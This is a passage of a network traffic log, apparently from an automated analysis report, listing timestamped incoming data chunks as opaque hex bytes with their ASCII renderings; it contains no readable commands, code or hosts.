8a 98 56 57 d4 b6 07 37 9f ac 2b 51 91 65 f9 51 c6 c4 3d 85 cf ea 73 aa c8 79 e3 ce ba a9 9d d2 61 06 ef 82 32 30 42 74 df 63 25 b8 0b d5 d0 28 e0 e5 fc c5 5c 1a 2a 71 5a 40 70 Data Ascii: [(u(B/]/'c^UL`SIbL\|QLH1;B;R8pVM9htQ<[aqu]~'<ODunJ7' f:jD/n'dB-xWHc"Vhbr2{GVW7+QeQ=sya20Btc%(\*qZ@p
2023-05-10 00:21:17 UTC	4240	IN	Data Raw: 39 0d 34 1a 83 d5 0e de 3c 04 54 4d b6 60 ff c5 0a 10 56 0f 75 86 61 53 bd 59 70 ad 3d d8 fa bb be 33 f5 ab c8 eb 05 6c 32 db ab 5c c8 26 0a f5 cf 9b 00 9b 48 4b 4e 1d ae bc 9d d8 ae a8 47 30 b6 69 71 f4 44 fd 29 fd 88 cb 48 ed 43 0b 3a a8 79 61 e6 3f 30 06 b4 d5 f9 54 14 04 9f b5 42 94 2b a4 05 c0 71 3d 72 84 21 00 5b 28 44 9c e8 b5 7f 7c de 40 2d a8 50 42 d6 8c 91 82 ec 46 49 16 2e 81 32 e2 af 65 93 d5 bb 2f ad 39 15 7b 21 67 b8 bd 13 74 49 15 49 df 82 a4 7c 8e 7e dc 03 1f a9 86 e9 14 a8 f8 8f 89 64 ee 78 64 34 dd 59 51 02 de 6a c3 f1 97 67 81 91 f2 01 dc 04 0e 21 f4 33 a7 4d 69 f6 6b d7 24 c5 b4 3f 9a 16 53 7d ba 02 69 95 cb 69 b9 41 e4 64 ed ec 64 b4 a7 88 5f d8 14 08 f8 c8 70 aa a6 35 24 15 86 c3 d9 97 9a 65 75 db 34 ed 92 c5 0c ce f4 84 9d d7 bf a8 Data Ascii: 94<TM`VuaSYp=3l2\&HKNG0iqD)HC:ya?0TB+q=r![(D\|@-PBFI.2e/9{!gtII\|~dxd4YQjg!3Mik$?S}iiAdd_p5$eu4
2023-05-10 00:21:17 UTC	4256	IN	Data Raw: 15 62 c6 10 2d 8f 4e 9b 3c ce 78 fc 6f 07 bb d6 1a 1c 00 a4 e0 64 6d 08 95 72 8a 55 ad d6 5d 07 a3 a2 b3 3b ff f7 93 6a e0 da 98 51 12 ec 72 73 c6 6f 23 81 06 ff 0e 3f 81 32 42 ca 9f 0b a5 7a ef b7 a5 e3 be 94 4b a2 bb e6 83 8a 5b de 89 c8 bb ca 9d 29 0c 11 29 5a 59 b3 2d 68 26 31 46 52 0f bb b0 06 94 b9 45 36 6e 89 a6 17 d3 34 a3 80 7a 9a aa 4b ce 70 93 b7 c9 1b f4 c1 a1 3b 86 41 d2 de 36 8d cd 1b ee 48 06 ae 0a 04 1b 8f 90 19 bd 23 42 82 f1 ed 8d 6e 13 6d ba 43 ed 02 80 a3 5c 93 7d 1e a1 25 0e 8e 17 d7 b9 06 5d 84 58 f6 12 0f 83 21 96 e4 85 a4 d1 e7 38 81 43 17 c6 9e 50 73 ba 1b 8c 09 58 a2 58 7e c1 24 f7 8d 02 d2 34 95 e0 db cc f5 83 10 f2 88 23 73 1e 3b 9e ca 5d 62 30 ac 6a 34 d1 d4 e4 bf bc f6 a2 fe 16 71 20 a0 8f c8 06 74 b2 16 31 2f c1 3d 10 80 fd Data Ascii: b-N<xodmrU];jQrso#?2BzK[))ZY-h&1FRE6n4zKp;A6H#BnmC\}%]X!8CPsXX~$4#s;]b0j4q t1/=
2023-05-10 00:21:17 UTC	4272	IN	Data Raw: df 58 9b 27 f7 a9 4d fd 28 ef 4e 32 14 10 bf c5 b3 af e8 0c c1 e9 29 cf c7 9c 8f 73 84 15 46 81 3e 64 9e 70 a5 97 0c 17 f1 d3 3c c9 19 86 3b 5a 7e 48 51 99 c6 e0 24 aa e5 04 74 ed 33 08 5d b9 5f e4 e4 c9 6c 5b c2 10 78 a9 ce 2f 12 75 de e2 d1 39 d8 93 5e a9 a4 84 9c a3 9e 05 55 6b 7b 64 6d 0c 75 a7 c2 86 b0 1f 69 43 fc 59 e3 52 4e 20 95 c2 73 56 9a 99 4c e9 72 9d 6e 26 77 1a c4 90 12 06 a9 a6 d1 a7 9c e3 d7 0a ba 56 7f cd f8 e1 99 d6 44 04 37 ca 55 5d af fb be fa 3b 00 31 38 4c 23 ac 59 68 17 8e fc 0d ff ed 89 6e 29 ab b9 8b c6 75 b2 15 56 37 c3 9b b7 3e 51 30 59 76 01 21 54 c7 3f 8f ba 0b 58 dc a0 3c 64 79 f9 84 30 67 7c 81 72 97 41 2b 53 e6 8d 4c 4d b8 92 3d da 7f 47 34 28 75 7f fc e5 ff c3 e9 09 c6 15 40 a1 1c ea 22 04 46 d9 80 a1 58 16 b7 8d 4a e9 ee Data Ascii: X'M(N2)sF>dp<;Z~HQ$t3]_l[x/u9^Uk{dmuiCYRN sVLrn&wVD7U];18L#Yhn)uV7>Q0Yv!T?X<dy0g\|rA+SLM=G4(u@"FXJ
2023-05-10 00:21:17 UTC	4288	IN	Data Raw: 83 a4 98 18 d3 b6 49 ec ba 5d d2 7a b2 51 9c 07 3e d7 08 d2 14 4a 57 b3 ca ff e7 82 72 fe 79 e8 65 19 04 0d 51 3b 7a 48 a2 8d 02 46 41 b1 65 39 a3 6b 6a 28 3d 71 63 34 30 be 5c 9d 87 1b 72 20 4b 05 f5 0c 80 79 ff 7f bf 3a 22 2f e5 6d f2 45 17 9e b9 9e ba 61 26 36 b9 0e 89 05 2e 0d ec 9a 49 5c 0d c2 1d e8 95 9d b8 65 9b dd 15 85 bb 00 3f 2d c5 14 8a 9e 4a c5 54 dc 82 ae 33 7a e8 cc 52 c6 c3 2a 04 64 c6 ec 7f 80 f6 96 9f 8d 1f b1 f9 2d 78 8c eb 80 ce ae aa 4f 9a 9c 34 3a 45 49 78 2d 06 57 8c e1 e9 78 6a 94 16 37 d1 2b 58 42 4f 0d 44 a4 25 a3 74 ba c0 7b 84 7d d6 59 6b e0 09 7d ec 9b 96 c1 49 6b 83 d4 80 dc a2 f1 0a 15 d2 43 f6 cc ec a8 c9 9b e6 96 e2 0a ef 31 32 7e 43 bd d0 c2 30 84 16 e9 3d b0 8e 69 f5 d5 56 bb e5 49 29 b0 03 82 6f 5c 9b 70 ec 3f 28 5a 4b Data Ascii: I]zQ>JWryeQ;zHFAe9kj(=qc40\r Ky:"/mEa&6.I\e?-JT3zR*d-xO4:EIx-Wxj7+XBOD%t{}Yk}IkC12~C0=iVI)o\p?(ZK
2023-05-10 00:21:17 UTC	4304	IN	Data Raw: 88 55 13 26 40 ed 21 1b 56 a0 07 4b dc 19 31 f0 a2 9a bf 7c 9f d7 b5 39 ea a9 b3 94 26 83 dd 44 7c c9 4e 42 e4 13 ce bf 84 7e 99 13 ca ee 50 6c 8d ec 0c 06 db b2 73 ba 08 5c e0 82 77 cd ec 77 5c 70 ac 3b 11 42 d7 f0 9a 69 18 ac c4 4f f1 ef 8d 48 bd 26 d8 2f bb 2d 29 f4 82 48 94 25 c4 5b 0d 72 b6 c4 3a e3 a7 07 db c0 d0 ee e1 fd a1 99 71 d6 c0 a9 6e b0 6b 94 64 77 3c de 9a 70 5d 4f 81 6d f1 93 7e 8a 4c af fc 91 0c 3c 28 87 2b 3c 36 0c c5 22 bb 34 bf 40 26 06 81 f9 d0 0e eb d8 b3 5b f5 26 56 1f a4 7c 57 36 6e fe 23 1b c8 2c 6b 0d 16 3b 4c b0 ae 7e 29 3a b6 03 ce 27 27 7a 8f 73 41 ec cc df 5f 2b 30 98 cc bb 85 f6 cb c5 27 e3 0e 2d 2f 87 c6 c8 12 76 53 7a bf 46 f4 e7 36 59 43 72 0d 19 a9 8f 91 50 11 7a ac ed 23 16 c7 a6 c4 85 2b b0 b1 b0 c6 c3 93 e4 ea 5d a1 Data Ascii: U&@!VK1\|9&D\|NB~Pls\ww\p;BiOH&/-)H%[r:qnkdw<p]Om~L<(+<6"4@&[&V\|W6n#,k;L~):''zsA_+0'-/vSzF6YCrPz#+]
2023-05-10 00:21:17 UTC	4320	IN	Data Raw: 65 a0 df c4 f6 fa 00 ec 60 0b 83 fc 02 74 3c 17 0d d9 bc 18 73 81 f9 5a 5c 8a 15 30 ac 16 f0 c9 a3 b2 22 77 0f e7 99 d4 bc e5 19 73 89 76 70 dc 15 bd 95 85 17 6a e8 78 8d f7 43 85 31 7a 7b 78 64 f7 a3 33 b8 13 83 73 d4 a7 c2 bb e4 68 ac ca c9 89 79 f4 1c 49 70 a3 21 1a af 64 f1 2d 87 21 bf 79 f9 98 a5 a3 42 34 da 44 2c 82 75 6d e5 e5 e8 00 ff 07 f7 4f 44 fb 3a 2d 8d 34 4c c0 28 6d 21 14 3e fb 73 36 ef 79 eb f8 f8 cb f6 70 d5 32 60 54 83 64 6d 69 06 a1 10 4e d1 9b 8e 7b 32 f3 02 72 46 32 39 d1 27 18 3d 15 6e 4e ce 82 3b f1 81 80 55 17 9b 2b 54 32 6d 57 ce f2 57 ef 9c c9 8d 02 a3 ec 7e 94 72 9c 82 84 e2 a4 95 04 96 bb 12 b2 ea 27 b6 d6 92 1a d6 5e 52 6b 28 94 8d 18 f7 de c6 f0 26 5c 8c bb 5e b7 52 11 af af 1f a8 ea 12 76 cd d7 fe 4b a5 23 ae c5 d2 ea 78 09 Data Ascii: e`t<sZ\0"wsvpjxC1z{xd3shyIp!d-!yB4D,umOD:-4L(m!>s6yp2`TdmiN{2rF29'=nN;U+T2mWW~r'^Rk(&\^RvK#x
2023-05-10 00:21:17 UTC	4336	IN	Data Raw: 85 e7 15 e1 c8 4a fb e4 52 f1 91 6f d1 46 44 9d ec c7 87 44 4d eb bb a5 fc 1a 8c 62 b1 ef 6d 4c 2f 12 f6 35 a5 b6 6c 77 3c ee 79 a9 00 dc 24 54 64 17 b3 f4 cb ae 08 b7 b9 26 ec 68 3a db 52 c8 7e e0 a2 c7 e7 c5 62 33 88 87 d8 1a 5b 81 40 d0 29 29 79 9b 9b dd 45 22 a3 ca d0 75 ca 84 60 f9 04 f1 b9 0d eb 37 3d 59 ac 4d 6b 17 d7 76 ee a0 02 d6 19 46 f2 33 18 a6 33 e8 e3 54 3e e9 1e 99 0a c0 16 50 a2 8a 0e 82 bf e7 88 51 6c ad 6c 9f 9b cb 46 40 f1 df d5 f1 bf c1 45 e1 f4 1a 70 f2 95 5f ca 75 11 1a 42 ec b3 48 32 ce 76 60 f4 db 82 5d 79 7a f1 d7 39 9f e5 95 f7 d2 9c ba a6 fd 5d f9 9e b0 62 f5 5a 86 da 76 6a e4 7b d9 a9 11 47 46 f1 21 3a f3 d4 06 71 69 c6 39 3f 8a 5d d0 6a e8 05 59 a5 a9 a2 06 4b c3 ab 13 38 cb 4b 38 ea 97 03 0d da f1 8b 04 a8 6b 6f 74 1a cf 85 Data Ascii: JRoFDDMbmL/5lw<y$Td&h:R~b3[@))yE"u`7=YMkvF33T>PQllF@Ep_uBH2v`]yz9]bZvj{GF!:qi9?]jYK8K8kot
2023-05-10 00:21:17 UTC	4352	IN	Data Raw: 4b 30 b7 44 fd 5c 7d 89 cc 79 5a d9 6a 41 32 2e 81 9d 0c 92 8f 98 ec a5 8f aa cc cd a1 7d 66 b5 dc b0 43 e0 0d 9a 5b 69 ba 9d 68 d3 c1 2e 28 8f a3 67 2b a3 d4 37 74 5d fb 2f 9a 4d 93 af b6 fe c6 f4 32 82 70 1a 97 ea 7f 2e 98 c0 e2 ad 74 8f d9 c5 e5 7f 05 48 1d 96 3e f9 27 82 aa 91 73 fd 47 87 ad 68 89 7f 58 69 48 d2 1c a8 97 51 e6 d7 e3 03 85 18 d3 c9 52 06 1c 61 e0 5f 3e 20 f9 fd 89 6b 6d 35 6c 14 66 d0 ef a8 73 10 f2 01 75 e4 05 6d e7 88 b6 8a 9e 8a e0 2c 6f 7b 7d 47 e0 b0 7a 86 39 e8 29 c2 f3 51 f9 c5 b1 ba 6e 0e b3 e1 8b d6 f5 d7 be 48 28 48 d5 88 79 61 cf c1 43 76 c4 ff d0 ef 4d 4f a5 ee dd 06 7a 72 36 75 b2 48 1b 32 1a 87 06 2d 8c 1d f3 d6 42 eb 05 46 96 e7 8a 20 f2 20 73 bc 95 13 96 eb b2 b8 3c 0e 94 f3 36 8d a9 d0 9b 93 30 a6 4f 8e 46 3d 9e 2c 18 Data Ascii: K0D\}yZjA2.}fC[ih.(g+7t]/M2p.tH>'sGhXiHQRa_> km5lfsum,o{}Gz9)QnH(HyaCvMOzr6uH2-BF s<60OF=,
2023-05-10 00:21:17 UTC	4368	IN	Data Raw: 7d 29 25 4f 06 b5 d5 0f e3 fc 19 5c 43 ae 39 a8 6b b9 38 a6 e0 a7 6b c6 ab e7 ac ec 9f c6 b4 e6 fa ab 27 07 74 6e ee 79 e0 04 33 09 96 75 d2 30 fc 3a f6 8e 85 90 65 27 62 f0 11 04 47 69 c1 0c cc 8b 34 26 20 cc ee 31 47 12 24 da 95 19 e2 2a ad 1c 22 73 d5 7a 3f 6e 67 9d 81 fe 74 56 b1 3b c2 83 23 6b c1 f8 93 69 f7 0f ca f4 9a 96 da b6 93 d6 2f c1 e4 3f 97 eb 1e 75 22 d4 ca 5b 31 10 b1 c2 66 f6 fe 2f 8c 8b 04 38 ff 18 c3 cb e7 1e d1 67 ad ba ff 6d 75 d4 b1 29 3c 2a 5f fc f3 16 76 a7 0e af 26 c8 5c a9 c2 ae 4d 76 d1 88 69 33 f7 f3 fc 9a 76 f7 79 5f e6 31 5e 80 9a 51 95 c5 6e 63 d4 78 c6 40 77 70 6b b7 1e fc 08 44 f2 0d 88 98 bc ce 39 0a d4 c8 5d b9 71 6d af 4f 8b 30 b1 13 96 c2 16 be e8 19 4d 40 05 f8 95 4f e7 ab 9a 2f 72 e8 08 f3 71 95 71 3d 81 51 34 16 cf Data Ascii: })%O\C9k8k'tny3u0:e'bGi4& 1G$"sz?ngtV;#ki/?u"[1f/8gmu)<_v&\Mvi3vy_1^Qncx@wpkD9]qmO0M@O/rqq=Q4
2023-05-10 00:21:17 UTC	4384	IN	Data Raw: 22 0f f5 ab 9b 4d a5 60 2e 04 3d 27 03 0a 30 d4 04 f3 62 e9 99 e3 f9 e9 ee 88 95 1c 3b 85 f0 97 48 4b dc ba b8 f6 62 79 77 6b 3f 0c fc 5d e9 d3 58 76 ec 3e c2 6d e7 26 a2 8e c7 76 34 cd d4 b8 61 7b c3 4c 1d 3c 6c ff dc 9e dd 9f 3a 8b b2 45 9a 36 f1 b4 60 5e fe 34 93 85 22 e4 b5 5e ce 1b ff af 52 98 14 27 cb a0 39 01 8e ff df f5 02 4b 6e e3 3e c8 3b 4b 9e 9e bb e3 a7 17 64 ed 27 5a 6a 05 a5 ec b7 c6 dc a4 3c 3c 6d 16 e4 75 f8 9c 42 7a e9 9d 94 76 7c 7f f0 b9 2f 50 61 3f ce 2c bb 24 03 a7 53 b8 d2 1d d8 1e 0b bf c2 7b 2e 62 f2 87 b1 2b 42 17 a4 c5 76 86 2d a0 ab 16 75 11 ab 3b 7c 07 2d 35 23 3c 33 db 1c 84 81 59 3c c5 51 9a ea 80 89 aa bc 26 90 49 ae 89 c9 7d fc f5 05 09 fc 2d 58 d4 d8 4d 45 0e 4c e5 77 24 3e 6e fb 62 f3 ae 26 d7 be 38 c9 93 c3 d2 ca 2e a2 Data Ascii: "M`.='0b;HKbywk?]Xv>m&v4a{L<l:E6`^4"^R'9Kn>;Kd'Zj<<muBzv\|/Pa?,$S{.b+Bv-u;\|-5#<3Y<Q&I}-XMELw$>nb&8.
2023-05-10 00:21:17 UTC	4400	IN	Data Raw: 0c 8a 0b 2a b9 f1 11 3c e2 e4 0a 36 81 da 33 04 28 8d ba 57 77 a1 34 37 bd e0 3a c8 f3 6a d7 9b 04 26 32 0c 2d 08 82 92 ab 86 9d bb 48 31 d8 a9 3a fc 2f 83 18 e8 ed e7 83 34 15 08 26 2e b4 e0 df 71 e1 ad 2d 3a 8d a2 62 5d 3c a9 e8 19 d8 c6 0d 54 9c 81 9c 60 a2 c6 92 49 cd e5 c1 6c 53 bb 9c 37 75 74 b4 83 c3 ff 9d 55 8c e8 31 0b 44 3f 41 27 f4 bf 74 14 ab ad 46 65 60 89 8a 30 cc 3a 1f 83 3e 89 eb e2 18 00 96 3a 7e 8c ff d4 91 dc a3 32 4f 39 5e 50 91 e0 09 29 cf 51 4d 5a f0 05 85 09 bb fb f0 44 58 b1 7f 9e 19 47 fa b9 46 36 e2 18 af 8e 71 f8 15 8c 42 58 33 12 f2 3b 88 88 09 e2 b1 47 82 8c 1e 35 d4 3e b3 65 98 9e f3 bd 04 51 fe e0 46 db b2 06 b3 6d ce b7 89 3f c3 8e 92 2a 8d 5b b3 67 5e 95 0e 35 f0 1d 43 bf bc 9e 81 13 e2 28 ab 80 3e 5e 39 53 04 b7 b4 73 53 Data Ascii: <63(Ww47:j&2-H1:/4&.q-:b]<T`IlS7utU1D?A'tFe`0:>:~2O9^P)QMZDXGF6qBX3;G5>eQFm?[g^5C(>^9SsS
2023-05-10 00:21:17 UTC	4416	IN	Data Raw: 04 73 32 cb bd c0 c3 06 63 06 4c d2 8c 26 db 74 ba 91 98 08 d9 4b d9 14 28 66 66 30 5c a1 7e f4 d8 a9 39 a7 5f c8 5b a8 2b fd 4f a0 25 d9 22 c7 51 99 e6 9f b3 61 46 34 cb 28 e8 18 b9 74 42 82 f5 48 f3 f5 01 f1 3f bb 0c fe 36 da 7a 3b 97 1c 14 42 74 58 36 4d fb 3a bc 0f 77 eb 9a 8e 2d ac e9 49 cf 42 78 19 51 09 12 31 20 47 50 20 1c ed 2c 77 ab 9d cf a2 53 64 ac 8d 83 19 0e 06 e1 26 ae 44 f5 95 60 8c 03 f9 4d 3b 0f 00 42 f9 de 49 e9 79 54 47 d1 4d 61 7c f3 45 be 9b 2a a5 35 ee b2 ad 1d dd 82 86 bf fb 4e 98 44 cb 3d da 21 f8 aa a9 39 a7 2e 2d c9 78 bb 7d 82 5a d4 db 3d 49 ec 28 69 6e 8d 21 e4 d9 91 32 d2 9c a5 7d f0 0c 62 e6 f4 f1 70 82 5c 19 60 9a 8f 10 3e 42 ea a4 97 82 28 7a 4d 38 04 cb c1 a0 48 9f 4f bf 60 84 f4 78 71 74 78 34 09 71 28 7d bd 66 e7 85 0e Data Ascii: s2cL&tK(ff0\~9_[+O%"QaF4(tBH?6z;BtX6M:w-IBxQ1 GP ,wSd&D`M;BIyTGMa\|E*5ND=!9.-x}Z=I(in!2}bp\`>B(zM8HO`xqtx4q(}f
2023-05-10 00:21:17 UTC	4432	IN	Data Raw: 64 21 8c f2 f3 30 1d e8 3f 33 6d 5e d9 e3 32 e2 66 97 18 c1 52 42 de ac b6 ff 68 34 38 6b ff c5 ec 25 03 02 90 31 73 7c 2c 9a 09 51 d4 20 ef ab bb 25 a6 28 7b f2 e4 48 8e 01 de 4f 35 11 96 80 f8 3c 1c f3 46 1f 04 0c a4 96 81 80 6a 97 e4 73 71 b2 34 4a ff b1 65 86 a9 d1 92 a9 13 e0 bd 82 82 45 ab 01 8b 7c d2 28 17 33 01 3f 90 c5 f0 86 f2 11 d5 58 e3 96 3c 41 eb 0c f1 71 ae 1e 9c 40 b9 27 14 a4 2a bf b0 e4 06 b3 73 f9 d5 b3 f3 4f 50 40 f9 19 94 f0 da f8 a1 d5 99 75 60 5c 53 ae 3f d6 de 6b f1 a7 d6 4c 70 dc 67 b8 fd 86 64 4b 21 d7 9b b8 30 b8 0f 91 25 03 e0 c9 77 f9 8f 7c 84 ee 48 02 4b 8e 96 f4 26 55 86 ec 62 20 a1 cd 37 70 c8 c3 a9 9a c5 dd 34 b9 3c 3d a7 89 68 fe d8 f4 98 d7 ba 98 86 b4 01 33 d4 b0 df 37 63 d5 49 a7 e2 2c f9 51 19 c3 dd 09 56 f0 ac a5 26 Data Ascii: d!0?3m^2fRBh48k%1s\|,Q %({HO5<Fjsq4JeE\|(3?X<Aq@'*sOP@u`\S?kLpgdK!0%w\|HK&Ub 7p4<=h37cI,QV&
2023-05-10 00:21:17 UTC	4448	IN	Data Raw: 65 b1 8c 78 a6 78 be a2 75 ff 3a 1b 12 f2 11 6d b2 3a 91 28 d7 d6 03 e2 0f 6f 2a c5 f4 a3 7c 93 62 89 1d 45 d4 3d 57 d6 2d 1c 61 99 d1 f8 09 39 55 c5 5d 49 e1 de 96 76 93 52 5f de b9 77 3e 3b cb 6c 90 64 a5 e3 e6 ac 7b 14 8c 5a d3 35 b5 d8 dc da d2 2b a9 05 a7 dc 7c 88 60 fb 92 8d 17 35 43 96 fc 2b 72 9c 1a 84 b3 3c 2a e2 4f 8c 32 84 7f 1d ad c5 4f d6 2f 16 ca 05 18 8d 8d 5e 84 7d c1 65 28 d2 89 89 cc fc 2d 23 f3 f4 d7 a3 05 7d 8c da ab 37 79 13 b0 e6 65 08 b7 2d 6c 5f 78 77 d8 30 99 28 de 8a d8 95 85 28 11 2f 6e 01 21 92 de d8 26 8e 07 94 73 43 05 e2 51 f6 e3 e1 af 79 9b 93 6c 8d bc 91 03 a4 a2 e1 9a 50 38 04 9e 8f 7e 65 19 d1 db 8a db eb 2a b3 73 68 64 59 f4 c6 a1 1c 88 7a 54 75 5e 8d 5a 0e d2 9a fb c2 68 07 70 85 ff 08 1a cb aa e7 ad fa d3 cd 90 25 19 Data Ascii: exxu:m:(o\|bE=W-a9U]IvR_w>;ld{Z5+\|`5C+r<O2O/^}e(-#}7ye-l_xw0((/n!&sCQylP8~e*shdYzTu^Zhp%
2023-05-10 00:21:17 UTC	4464	IN	Data Raw: a5 99 c0 f1 d2 6e d7 3f 5f d4 8d 45 39 3b 98 33 11 5b b5 cd 13 34 9e 44 44 bb ce 8b 6b 16 b5 11 a4 21 46 42 4d d2 13 7b a7 1e 47 82 68 f5 eb d3 80 47 b8 6e 66 02 50 1c 9c f5 10 d6 10 58 98 cc a5 63 b7 b3 e4 0c eb be 2d a4 9c ab aa 85 14 cd 1e 2d b2 d7 dc 3d d6 ac 5a ee b3 da 42 e6 9b ff 37 23 af c1 d3 17 eb c5 a2 99 60 d2 bb 36 16 f5 00 ad cb 96 22 f3 d5 e3 1a 14 be aa 1a af 8f 20 24 e7 ca f5 e9 4d c6 91 c8 12 d3 2d 00 5e f4 19 a6 5a 79 a0 6a d5 b2 d2 d9 e8 5f 90 35 92 04 8c 77 fc 9b 73 16 1f b5 1c ff 74 b4 7a 07 df f4 11 2f 39 bf 64 45 90 f0 19 4e 30 0d a7 02 6e 2d 7d 8e cc e5 44 2f 2c f6 20 19 87 e8 29 8c 39 89 ab 0e 2e 4b fc 5c 61 d6 39 31 07 9f 67 da 9c 22 df c5 69 4a 94 96 19 e7 97 90 80 38 c4 b2 dc 50 2e cb 91 bb 1b e8 3c 5f d0 15 9e 20 7d bf 2f 15 Data Ascii: n?_E9;3[4DDk!FBM{GhGnfPXc--=ZB7#`6" $M-^Zyj_5wstz/9dEN0n-}D/, )9.K\a91g"iJ8P.<_ }/
2023-05-10 00:21:17 UTC	4480	IN	Data Raw: e7 4f b3 c6 a6 10 30 17 94 9e 52 45 22 16 1e 42 9f f0 25 44 ed a3 32 76 ee 23 06 cb 3a a9 24 55 d9 54 b8 67 68 4d 14 4f aa da 44 8b c4 a3 c6 c4 36 e8 22 b5 59 37 ac ba 6f 0f 09 bf 7d cf b6 1d 86 49 81 2c 83 5a 51 2d 17 0a 00 97 ba d2 d4 9f 93 29 87 f9 64 02 1e 08 c4 ed 10 a7 e7 e7 36 cc 7d 91 a1 58 5c 48 59 3c f2 5b b3 4a 00 e9 25 f7 78 3b 43 39 e2 84 9a 2a da 8c 0a 5f 4e 58 33 6a 6e aa d2 70 35 39 43 a8 1e 93 0b d4 6b 78 c6 59 17 3d d4 a4 3d ee 3a 2c 52 63 a3 76 c6 42 d1 13 a0 ef d8 19 8a 10 81 8d 7b 94 60 0d c2 04 8c 9a f7 83 14 77 a4 e7 10 f4 7c 78 77 4c 0b fa 93 99 8e 5e 96 26 12 f8 61 a4 1a 28 f8 b3 70 8c 44 2f 39 e2 a2 ef 62 52 32 89 3d 6a a1 d8 aa 96 74 7f 34 d5 f2 d6 fd 83 29 82 53 9b 5b 85 1b 89 99 13 b9 4e 2a c2 d6 a9 fd 5f 1e a5 7d 15 20 d3 dc Data Ascii: O0RE"B%D2v#:$UTghMOD6"Y7o}I,ZQ-)d6}X\HY<[J%x;C9_NX3jnp59CkxY==:,RcvB{`w\|xwL^&a(pD/9bR2=jt4)S[N_}
2023-05-10 00:21:17 UTC	4496	IN	Data Raw: d7 61 24 72 bc 6e fb 57 ba 45 03 03 89 ca 5f f6 5f 0e c7 4b 50 60 42 12 8d 43 bb 69 2c 3d 8d 38 49 49 f2 ba 9f 2d 39 cd 40 d2 f8 e7 dc f7 86 72 d2 d2 02 c9 e2 f6 49 cc f6 dc 2b 8d 50 74 cf a9 94 0a dc 98 7c 5f a1 5b 45 c5 b8 04 77 11 ae 8c 95 63 f6 98 8d fb 4e 95 b8 60 56 ca 1a 2f 9d f7 42 9f c1 a7 22 65 c4 64 eb 5a 43 28 04 96 1f ae 8a f5 c5 02 d8 d8 42 fe af cf d1 31 fe 8e 23 3a 15 42 f0 c9 4f 56 74 61 84 e5 61 c8 df b1 b0 95 36 1e 47 ba ec f3 c6 9a aa 65 43 8a 14 7a 19 73 3d 76 a7 65 9f 78 1f 28 7c 46 f9 32 9d 4d ce 3f 88 df 7d e7 c8 a3 5a 55 bc bd a5 d0 5f 98 8b f3 0e 9e f9 a1 af 92 42 8f 52 1d fa 48 95 ac e0 01 c8 f5 5b 10 f1 89 67 fc 8a 81 f3 7c ad 45 53 bd 5e a0 c5 73 cc b4 8f 50 36 3f 4c 36 70 45 5a 01 4c b7 18 a9 5b ca 7e 9d e9 bf 7e 5d fb 66 61 Data Ascii: a$rnWE__KP`BCi,=8II-9@rI+Pt\|_[EwcN`V/B"edZC(B1#:BOVtaa6GeCzs=vex(\|F2M?}ZU_BRH[g\|ES^sP6?L6pEZL[~~]fa
2023-05-10 00:21:17 UTC	4512	IN	Data Raw: 03 95 23 8d cd 1a d3 74 38 8f 24 77 34 5a 6f 50 eb f5 58 a8 f7 51 08 bf 46 54 8b 91 89 d2 9a 71 15 4b 0d 59 28 1e 1f ab 6f 94 9e 1c 4e 14 12 ae c8 d1 f2 e1 41 4e 29 04 0a 00 f7 b9 2a 8a 44 34 86 11 53 c7 4c 2e ac 50 91 52 c0 a6 67 c2 ef 79 ab ce da cb 84 b0 45 8a 81 a1 90 13 53 2f aa 77 f0 1e 90 f6 76 ee d8 7a 98 64 89 b5 ce 2e 88 06 2e bc 7b 5b d3 28 4e 04 e4 41 82 5b d9 2a 76 85 31 5b 52 8c ab c4 bf 50 62 43 97 cb 60 b3 49 b6 fd 47 0c aa 2a 04 e3 62 d8 fa 5c 64 66 7b 89 89 51 6c 0d bb 04 b1 d4 29 67 e6 f2 97 20 be c8 fb 48 7c b0 72 a3 dc 8a 9d a0 7e 5e bd ce 56 f6 60 71 b3 6c d4 e0 97 df ba dc ba 75 95 7a fa 84 04 73 86 70 73 7d 4d 7c 45 d5 e6 fd b7 3e bd ad 42 28 c7 78 6a b3 9f 0c 4c df 85 08 19 bf cc 24 f9 bc 81 c5 61 99 64 6e f0 e3 e0 b5 9d 33 d1 f5 Data Ascii: #t8$w4ZoPXQFTqKY(oNAN)D4SL.PRgyES/wvzd..{[(NA[v1[RPbC`IG*b\df{Ql)g H\|r~^V`qluzsps}M\|E>B(xjL$adn3
2023-05-10 00:21:17 UTC	4528	IN	Data Raw: 61 76 78 10 fc b9 39 57 08 2f 74 0c 74 6c 85 bb b0 6f 1a 9f 53 55 5e 0e 5a 33 82 40 cd 1e 1b d8 d4 80 b1 cf e9 42 bd 92 58 84 53 04 e8 3b bf 3f 1b 63 95 2c eb 85 40 7c dc 34 ee 63 c5 92 fc 9c 49 3a 78 29 cf bd f4 3a 92 61 c1 58 0e 42 b0 30 c4 5a cc 57 73 4d 4e a1 6c 6e fd 6e d9 ff f8 16 00 89 c6 12 29 a8 11 4b a6 62 3b 58 ab 9d 21 42 eb 81 9f 51 f4 3d b8 e8 9f 1c 79 a8 9e 05 ce b0 27 2a 42 6d a5 97 60 f5 00 07 8f bb 95 eb 3d b6 1e e1 29 6f 12 b8 d6 0f 14 23 49 7c a6 10 99 9f 2e 54 70 ac d6 e1 e6 cb 6c 5d cb 6d e7 0f 6e 9f 92 5a 95 9b 21 e5 29 e6 c0 fe b2 89 23 ed 97 cd 09 94 96 9f b7 67 b1 c3 22 57 ec 58 d6 3d 56 e5 e6 32 05 4d fc 79 9b 44 19 cc 97 db 23 92 03 e0 7d 52 e9 96 67 24 ed dd 29 e3 68 95 69 94 5f a5 32 1d 67 d9 d5 51 ae 28 0a 6e 17 08 19 32 dd Data Ascii: avx9W/ttloSU^Z3@BXS;?c,@\|4cI:x):aXB0ZWsMNlnn)Kb;X!BQ=y'*Bm`=)o#I\|.Tpl]mnZ!)#g"WX=V2MyD#}Rg$)hi_2gQ(n2
